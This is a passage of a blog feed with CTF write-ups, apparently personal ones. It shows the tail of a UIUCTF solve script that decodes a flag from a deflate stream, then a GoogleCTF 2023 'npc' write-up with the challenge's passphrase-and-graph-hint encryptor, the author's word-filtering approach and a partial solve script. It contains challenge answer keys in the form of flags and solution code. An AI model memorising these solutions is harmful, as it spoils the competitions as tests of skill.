    <span class="n">mid</span> <span class="o">=</span> <span class="p">(</span><span class="n">st</span><span class="o">+</span><span class="n">ed</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span>
    <span class="n">st_idx</span> <span class="o">=</span> <span class="n">sum_block_size</span><span class="p">(</span><span class="n">mid</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
    <span class="k">if</span> <span class="n">st_idx</span> <span class="o">&gt;</span> <span class="mi">9223372036854775807</span><span class="p">:</span>
        <span class="n">ed</span> <span class="o">=</span> <span class="n">mid</span><span class="o">-</span><span class="mi">1</span>
        <span class="k">continue</span>
    <span class="n">res</span> <span class="o">=</span> <span class="n">get_range</span><span class="p">(</span><span class="n">st_idx</span><span class="p">,</span> <span class="n">st_idx</span><span class="o">+</span><span class="mi">10</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">mid</span><span class="p">,</span> <span class="n">res</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">res</span><span class="p">))</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
        <span class="n">ed</span> <span class="o">=</span> <span class="n">mid</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">st</span> <span class="o">=</span> <span class="n">mid</span><span class="o">+</span><span class="mi">1</span>

<span class="c1"># decode flag
</span><span class="k">print</span><span class="p">(</span><span class="n">st</span><span class="p">,</span> <span class="n">ed</span><span class="p">)</span>
<span class="n">flag_loc</span> <span class="o">=</span> <span class="n">st</span><span class="o">-</span><span class="mi">1</span>
<span class="n">flag_block</span> <span class="o">=</span> <span class="n">get_range</span><span class="p">(</span><span class="n">sum_block_size</span><span class="p">(</span><span class="n">flag_loc</span><span class="p">)[</span><span class="mi">1</span><span class="p">],</span> <span class="n">sum_block_size</span><span class="p">(</span><span class="n">ed</span><span class="o">+</span><span class="mi">1</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">flag_block</span><span class="p">))</span>
<span class="n">offset</span> <span class="o">=</span> <span class="p">(</span><span class="n">sum_block_size</span><span class="p">(</span><span class="n">flag_loc</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span><span class="o">%</span><span class="mi">8</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">offset</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">deflate</span><span class="p">.</span><span class="n">BitReader</span><span class="p">(</span><span class="n">flag_block</span><span class="p">)</span>
<span class="n">flag</span><span class="p">.</span><span class="n">read_bits</span><span class="p">(</span><span class="n">offset</span><span class="p">)</span>
<span class="n">flag_inflated</span> <span class="o">=</span> <span class="n">deflate</span><span class="p">.</span><span class="n">inflate</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag_inflated</span><span class="p">)</span>

<span class="c1"># VER 1
#uiuctf{binary search means searching a binary stream, right :D}
# VER 2
#uiuctf{i sincerely hope that was not too contrived, deflate streams are cool}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>]]></content><author><name>Bo-Shiun Yen</name></author><category term="CTF" /><category term="Writeup" /><category term="Pwn" /><category term="Crypto" /><category term="Reverse" /><category term="Web" /><summary type="html"><![CDATA[Overview Last weekend, our rival Sigpwny hosted their UIUCTF. We ranked 24th in the end. I solved 6 crypto, 4 reverse, and 1 pwn. This post will go through some of my solves in details. Hopefully this can serve as a tutorial for simular challenges in the future. Challenge solved after the competition are marked as [*]]]></summary></entry><entry><title type="html">GoogleCTF 2023 Writeup</title><link href="http://blog.bronson113.org/2023/06/26/googlectf-2023-writeup.html" rel="alternate" type="text/html" title="GoogleCTF 2023 Writeup" /><published>2023-06-26T00:00:00+00:00</published><updated>2023-06-26T00:00:00+00:00</updated><id>http://blog.bronson113.org/2023/06/26/googlectf-2023-writeup</id><content type="html" xml:base="http://blog.bronson113.org/2023/06/26/googlectf-2023-writeup.html"><![CDATA[<h2 id="overview">Overview</h2>

<p>Last weekend, I played GoogleCTF with b01lers. We ranked 55th in the end. I solved 2 misc, 1 rev, 1 crypto, and 3 pwn. This writeup will mostly focus on my own thought process while solving the challenges, and I’d recommand reading the <a href="https://github.com/google/google-ctf/tree/master/2023">official writeups</a> as well.</p>

<p>Challenge solved after the competition are marked as [*]</p>

<!--more-->

<hr />

<h2 id="misc">Misc</h2>

<h3 id="npc">npc</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>A friend handed me this map and told me that it will lead me to the flag. 
It is confusing me and I don't know how to read it, can you help me out?

solves: 102
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="npc_encrypt_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-npc_encrypt_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#npc_encrypt_py-content" aria-expanded="true" aria-controls="npc_encrypt_py-content">
         <p>Show encrypt.py</p>
 
      </button>
    </p>
    <div id="npc_encrypt_py-content" class="accordion-collapse collapse" aria-labelledby="hd-npc_encrypt_py" data-bs-parent="#npc_encrypt_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
</pre></td><td class="rouge-code"><pre><span class="c1"># Copyright 2023 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
</span>
<span class="s">"""This file encrypts a given file using a generated, easy to remember password.

Additionally, it generates a hint in case you forgot the password.
"""</span>

<span class="kn">import</span> <span class="nn">dataclasses</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">secrets</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="kn">from</span> <span class="nn">pyrage</span> <span class="kn">import</span> <span class="n">passphrase</span>


<span class="k">def</span> <span class="nf">get_word_list</span><span class="p">():</span>
  <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'USACONST.TXT'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">'ISO8859'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">text</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
  <span class="k">return</span> <span class="nb">list</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">re</span><span class="p">.</span><span class="n">sub</span><span class="p">(</span><span class="s">'[^a-z]'</span><span class="p">,</span> <span class="s">' '</span><span class="p">,</span> <span class="n">text</span><span class="p">.</span><span class="n">lower</span><span class="p">()).</span><span class="n">split</span><span class="p">()))</span>


<span class="k">def</span> <span class="nf">generate_password</span><span class="p">(</span><span class="n">num_words</span><span class="p">):</span>
  <span class="n">word_list</span> <span class="o">=</span> <span class="n">get_word_list</span><span class="p">()</span>
  <span class="k">return</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">secrets</span><span class="p">.</span><span class="n">choice</span><span class="p">(</span><span class="n">word_list</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_words</span><span class="p">))</span>


<span class="o">@</span><span class="n">dataclasses</span><span class="p">.</span><span class="n">dataclass</span>
<span class="k">class</span> <span class="nc">Node</span><span class="p">:</span>
  <span class="n">letter</span><span class="p">:</span> <span class="nb">str</span>
  <span class="nb">id</span><span class="p">:</span> <span class="nb">int</span>


<span class="o">@</span><span class="n">dataclasses</span><span class="p">.</span><span class="n">dataclass</span>
<span class="k">class</span> <span class="nc">Edge</span><span class="p">:</span>
  <span class="n">a</span><span class="p">:</span> <span class="n">Node</span>
  <span class="n">b</span><span class="p">:</span> <span class="n">Node</span>


<span class="o">@</span><span class="n">dataclasses</span><span class="p">.</span><span class="n">dataclass</span>
<span class="k">class</span> <span class="nc">Graph</span><span class="p">:</span>
  <span class="n">nodes</span><span class="p">:</span> <span class="nb">list</span><span class="p">[</span><span class="n">Node</span><span class="p">]</span>
  <span class="n">edges</span><span class="p">:</span> <span class="nb">list</span><span class="p">[</span><span class="n">Edge</span><span class="p">]</span>


<span class="k">class</span> <span class="nc">IdGen</span><span class="p">:</span>
  <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
    <span class="bp">self</span><span class="p">.</span><span class="n">ids</span> <span class="o">=</span> <span class="nb">set</span><span class="p">()</span>

  <span class="k">def</span> <span class="nf">generate_id</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
      <span class="n">new_id</span> <span class="o">=</span> <span class="n">secrets</span><span class="p">.</span><span class="n">randbelow</span><span class="p">(</span><span class="mi">1024</span><span class="o">**</span><span class="mi">3</span><span class="p">)</span>
      <span class="k">if</span> <span class="n">new_id</span> <span class="ow">not</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">ids</span><span class="p">:</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">ids</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">new_id</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">new_id</span>


<span class="k">def</span> <span class="nf">generate_hint</span><span class="p">(</span><span class="n">password</span><span class="p">):</span>
  <span class="n">random</span> <span class="o">=</span> <span class="n">secrets</span><span class="p">.</span><span class="n">SystemRandom</span><span class="p">()</span>
  <span class="n">id_gen</span> <span class="o">=</span> <span class="n">IdGen</span><span class="p">()</span>
  <span class="n">graph</span> <span class="o">=</span> <span class="n">Graph</span><span class="p">([],[])</span>
  <span class="k">for</span> <span class="n">letter</span> <span class="ow">in</span> <span class="n">password</span><span class="p">:</span>
    <span class="n">graph</span><span class="p">.</span><span class="n">nodes</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">Node</span><span class="p">(</span><span class="n">letter</span><span class="p">,</span> <span class="n">id_gen</span><span class="p">.</span><span class="n">generate_id</span><span class="p">()))</span>
  <span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">graph</span><span class="p">.</span><span class="n">nodes</span><span class="p">,</span> <span class="n">graph</span><span class="p">.</span><span class="n">nodes</span><span class="p">[</span><span class="mi">1</span><span class="p">:]):</span>
    <span class="n">graph</span><span class="p">.</span><span class="n">edges</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">Edge</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
  <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span><span class="o">**</span><span class="mf">1.3</span><span class="p">)):</span>
    <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">sample</span><span class="p">(</span><span class="n">graph</span><span class="p">.</span><span class="n">nodes</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
    <span class="n">graph</span><span class="p">.</span><span class="n">edges</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">Edge</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
  <span class="n">random</span><span class="p">.</span><span class="n">shuffle</span><span class="p">(</span><span class="n">graph</span><span class="p">.</span><span class="n">nodes</span><span class="p">)</span>
  <span class="n">random</span><span class="p">.</span><span class="n">shuffle</span><span class="p">(</span><span class="n">graph</span><span class="p">.</span><span class="n">edges</span><span class="p">)</span>
  <span class="k">for</span> <span class="n">edge</span> <span class="ow">in</span> <span class="n">graph</span><span class="p">.</span><span class="n">edges</span><span class="p">:</span>
    <span class="k">if</span> <span class="n">random</span><span class="p">.</span><span class="n">random</span><span class="p">()</span> <span class="o">%</span> <span class="mi">2</span><span class="p">:</span>
      <span class="n">edge</span><span class="p">.</span><span class="n">a</span><span class="p">,</span> <span class="n">edge</span><span class="p">.</span><span class="n">b</span> <span class="o">=</span> <span class="n">edge</span><span class="p">.</span><span class="n">b</span><span class="p">,</span> <span class="n">edge</span><span class="p">.</span><span class="n">a</span>
  <span class="k">return</span> <span class="n">graph</span>

<span class="k">def</span> <span class="nf">write_hint</span><span class="p">(</span><span class="n">graph</span><span class="p">,</span> <span class="n">out_file</span><span class="p">):</span>
  <span class="n">out_file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">'graph {</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
  <span class="k">for</span> <span class="n">node</span> <span class="ow">in</span> <span class="n">graph</span><span class="p">.</span><span class="n">nodes</span><span class="p">:</span>
    <span class="n">out_file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">'    </span><span class="si">{</span><span class="n">node</span><span class="p">.</span><span class="nb">id</span><span class="si">}</span><span class="s"> [label=</span><span class="si">{</span><span class="n">node</span><span class="p">.</span><span class="n">letter</span><span class="si">}</span><span class="s">];</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
  <span class="k">for</span> <span class="n">edge</span> <span class="ow">in</span> <span class="n">graph</span><span class="p">.</span><span class="n">edges</span><span class="p">:</span>
    <span class="n">out_file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">'    </span><span class="si">{</span><span class="n">edge</span><span class="p">.</span><span class="n">a</span><span class="p">.</span><span class="nb">id</span><span class="si">}</span><span class="s"> -- </span><span class="si">{</span><span class="n">edge</span><span class="p">.</span><span class="n">b</span><span class="p">.</span><span class="nb">id</span><span class="si">}</span><span class="s">;</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
  <span class="n">out_file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">'}</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">num_words</span><span class="p">,</span> <span class="n">secret</span><span class="p">):</span>
  <span class="n">password</span> <span class="o">=</span> <span class="n">generate_password</span><span class="p">(</span><span class="n">num_words</span><span class="p">)</span>
  <span class="n">hint</span> <span class="o">=</span> <span class="n">generate_hint</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>
  <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'hint.dot'</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">hint_file</span><span class="p">:</span>
    <span class="n">write_hint</span><span class="p">(</span><span class="n">hint</span><span class="p">,</span> <span class="n">hint_file</span><span class="p">)</span>
  <span class="n">filename</span> <span class="o">=</span> <span class="s">'secret.age'</span>
  <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">passphrase</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">secret</span><span class="p">,</span> <span class="n">password</span><span class="p">))</span>
  <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Your secret is now inside password-protected file </span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="s">.'</span><span class="p">)</span>
  <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Use the password </span><span class="si">{</span><span class="n">password</span><span class="si">}</span><span class="s"> to access it.'</span><span class="p">)</span>
  <span class="k">print</span><span class="p">(</span>
      <span class="s">'In case you forgot the password, maybe hint.dot will help your memory.'</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
  <span class="n">encrypt</span><span class="p">(</span><span class="n">num_words</span><span class="o">=</span><span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]),</span> <span class="n">secret</span><span class="o">=</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>In this challenge, the flag file is encrypted using a passphrase that generated from a wordlist. A <code class="language-plaintext highlighter-rouge">hint.dot</code> file is also provided. THe most import part is to identiy how the hint is generate. 
In the <code class="language-plaintext highlighter-rouge">encrypt.py</code> file we can see that each letter is assigned a node, and each consecutive letters are link with a directly edge. Afterward, random edges are added, the node orders are shuffled, and the edge order are randomly flipped. Since there are a lot of randomness in the hint, all we can extract from the hint are what letters are in the passphrase, and what letters can be connected.
I parse the hint file and get the list of letters presented. I then treat all edges as bi-directional, and filter the words based on the following criteria.</p>

<ol>
  <li>The letters in the word can be found in the passphrase</li>
  <li>There are edges between any two consecutive letter pairs</li>
</ol>

<p>This filters the word list down to 86 words, I then randomly generates passphrase from that wordlist that have the same word sets as the passphrase. I then permutes that word sets and test all permutations until the correct passphrase is found. See solve.py for more detail.</p>

<p>I think that the word set phase can potentially be change to a more efficient approach, as that problem is similar to a subset sum, not sure if there are any potential in a more efficient algorithm.</p>

<p><code class="language-plaintext highlighter-rouge">CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}</code></p>

<div class="accordion mb-2" id="npc_solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-npc_solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#npc_solve_py-content" aria-expanded="true" aria-controls="npc_solve_py-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="npc_solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-npc_solve_py" data-bs-parent="#npc_solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">secrets</span>
<span class="kn">from</span> <span class="nn">tqdm</span> <span class="kn">import</span> <span class="n">tqdm</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">pyrage</span> <span class="kn">import</span> <span class="n">passphrase</span>
<span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">permutations</span>

<span class="k">def</span> <span class="nf">get_word_list</span><span class="p">():</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'USACONST.TXT'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">'ISO8859'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">text</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
    <span class="k">return</span> <span class="nb">list</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">re</span><span class="p">.</span><span class="n">sub</span><span class="p">(</span><span class="s">'[^a-z]'</span><span class="p">,</span> <span class="s">' '</span><span class="p">,</span> <span class="n">text</span><span class="p">.</span><span class="n">lower</span><span class="p">()).</span><span class="n">split</span><span class="p">()))</span>

<span class="n">word_list</span> <span class="o">=</span> <span class="n">get_word_list</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">get_valid_nodes</span><span class="p">():</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"hint.dot"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">header</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">readline</span><span class="p">()</span>
        <span class="n">tmp</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">readline</span><span class="p">()</span>
        <span class="n">nodes</span> <span class="o">=</span> <span class="p">{}</span>
        <span class="n">inv_nodes</span> <span class="o">=</span> <span class="p">{}</span>
        <span class="n">edges</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="k">while</span> <span class="s">"label"</span> <span class="ow">in</span> <span class="n">tmp</span><span class="p">:</span>
            <span class="n">node_id</span><span class="p">,</span> <span class="n">letter</span> <span class="o">=</span> <span class="n">tmp</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'[label='</span><span class="p">)</span>
            <span class="n">letter</span> <span class="o">=</span> <span class="n">letter</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
            <span class="n">node_id</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">node_id</span><span class="p">)</span>
            <span class="n">nodes</span><span class="p">[</span><span class="n">node_id</span><span class="p">]</span> <span class="o">=</span> <span class="n">letter</span>
            <span class="k">if</span> <span class="n">letter</span> <span class="ow">in</span> <span class="n">inv_nodes</span><span class="p">:</span>
                <span class="n">inv_nodes</span><span class="p">[</span><span class="n">letter</span><span class="p">].</span><span class="n">append</span><span class="p">(</span><span class="n">node_id</span><span class="p">)</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">inv_nodes</span><span class="p">[</span><span class="n">letter</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="n">node_id</span><span class="p">]</span>

            <span class="n">tmp</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">readline</span><span class="p">()</span>

        <span class="k">while</span> <span class="s">"--"</span> <span class="ow">in</span> <span class="n">tmp</span><span class="p">:</span>
            <span class="n">fid</span><span class="p">,</span> <span class="n">tid</span> <span class="o">=</span> <span class="n">tmp</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'--'</span><span class="p">)</span>
            <span class="n">fid</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">fid</span><span class="p">)</span>
            <span class="n">tid</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">tid</span><span class="p">[:</span><span class="o">-</span><span class="mi">2</span><span class="p">])</span> <span class="c1"># ;\n
</span>            <span class="n">edges</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">fid</span><span class="p">,</span> <span class="n">tid</span><span class="p">))</span>
            <span class="n">edges</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">tid</span><span class="p">,</span> <span class="n">fid</span><span class="p">))</span> <span class="c1"># since it's randomly flipped, treat as non directional
</span>
            <span class="n">tmp</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">readline</span><span class="p">()</span>

        <span class="k">return</span> <span class="n">nodes</span><span class="p">,</span> <span class="n">inv_nodes</span><span class="p">,</span> <span class="n">edges</span>

<span class="n">nodes</span><span class="p">,</span> <span class="n">inv_nodes</span><span class="p">,</span> <span class="n">edges</span> <span class="o">=</span> <span class="n">get_valid_nodes</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">path_exist</span><span class="p">(</span><span class="n">inv_map</span><span class="p">,</span> <span class="n">edge</span><span class="p">,</span> <span class="n">f</span><span class="p">,</span> <span class="n">t</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">fr</span> <span class="ow">in</span> <span class="n">inv_map</span><span class="p">[</span><span class="n">f</span><span class="p">]:</span>
        <span class="k">for</span> <span class="n">dst</span> <span class="ow">in</span> <span class="n">inv_map</span><span class="p">[</span><span class="n">t</span><span class="p">]:</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">fr</span><span class="p">,</span> <span class="n">dst</span><span class="p">)</span> <span class="ow">in</span> <span class="n">edge</span><span class="p">:</span>
                <span class="k">return</span> <span class="bp">True</span>
<span class="c1">#    print(f, t)
</span>    <span class="k">return</span> <span class="bp">False</span>

<span class="c1">#print(n, e)
</span>


<span class="n">appeared_letter</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">nodes</span><span class="p">.</span><span class="n">values</span><span class="p">())</span>
<span class="n">valid_words</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">w</span> <span class="ow">in</span> <span class="n">word_list</span><span class="p">:</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="nb">all</span><span class="p">(</span><span class="n">i</span> <span class="ow">in</span> <span class="n">appeared_letter</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">w</span><span class="p">):</span>
        <span class="k">continue</span>

    <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">w</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">w</span><span class="p">.</span><span class="n">count</span><span class="p">(</span><span class="n">l</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">appeared_letter</span><span class="p">.</span><span class="n">count</span><span class="p">(</span><span class="n">l</span><span class="p">):</span>
            <span class="k">break</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">s</span><span class="p">,</span> <span class="n">e</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="n">w</span><span class="p">[</span><span class="mi">1</span><span class="p">:]):</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">path_exist</span><span class="p">(</span><span class="n">inv_nodes</span><span class="p">,</span> <span class="n">edges</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">e</span><span class="p">):</span>
                <span class="k">break</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">valid_words</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">w</span><span class="p">)</span>


<span class="k">print</span><span class="p">(</span><span class="n">valid_words</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">appeared_letter</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">valid_words</span><span class="p">))</span>

<span class="n">verify</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">sorted</span><span class="p">(</span><span class="n">appeared_letter</span><span class="p">)).</span><span class="n">strip</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">verify</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="nb">type</span><span class="p">(</span><span class="n">verify</span><span class="p">))</span>
<span class="n">password_len</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">verify</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">generate_password</span><span class="p">(</span><span class="n">num_words</span><span class="p">):</span>
  <span class="n">word_list</span> <span class="o">=</span> <span class="n">valid_words</span>
  <span class="k">return</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">secrets</span><span class="p">.</span><span class="n">choice</span><span class="p">(</span><span class="n">word_list</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_words</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">word2vec</span><span class="p">(</span><span class="n">word</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">[</span><span class="n">word</span><span class="p">.</span><span class="n">count</span><span class="p">(</span><span class="n">l</span><span class="p">)</span> <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">string</span><span class="p">.</span><span class="n">ascii_lowercase</span><span class="p">]</span>


<span class="c1">#verify = "aacddeeeeegiiinnnoorrrsssstt"
</span>
<span class="n">secret</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"secret.age"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>

<span class="k">for</span> <span class="n">words</span> <span class="ow">in</span> <span class="n">Subsets</span><span class="p">(</span><span class="n">valid_words</span><span class="p">):</span>
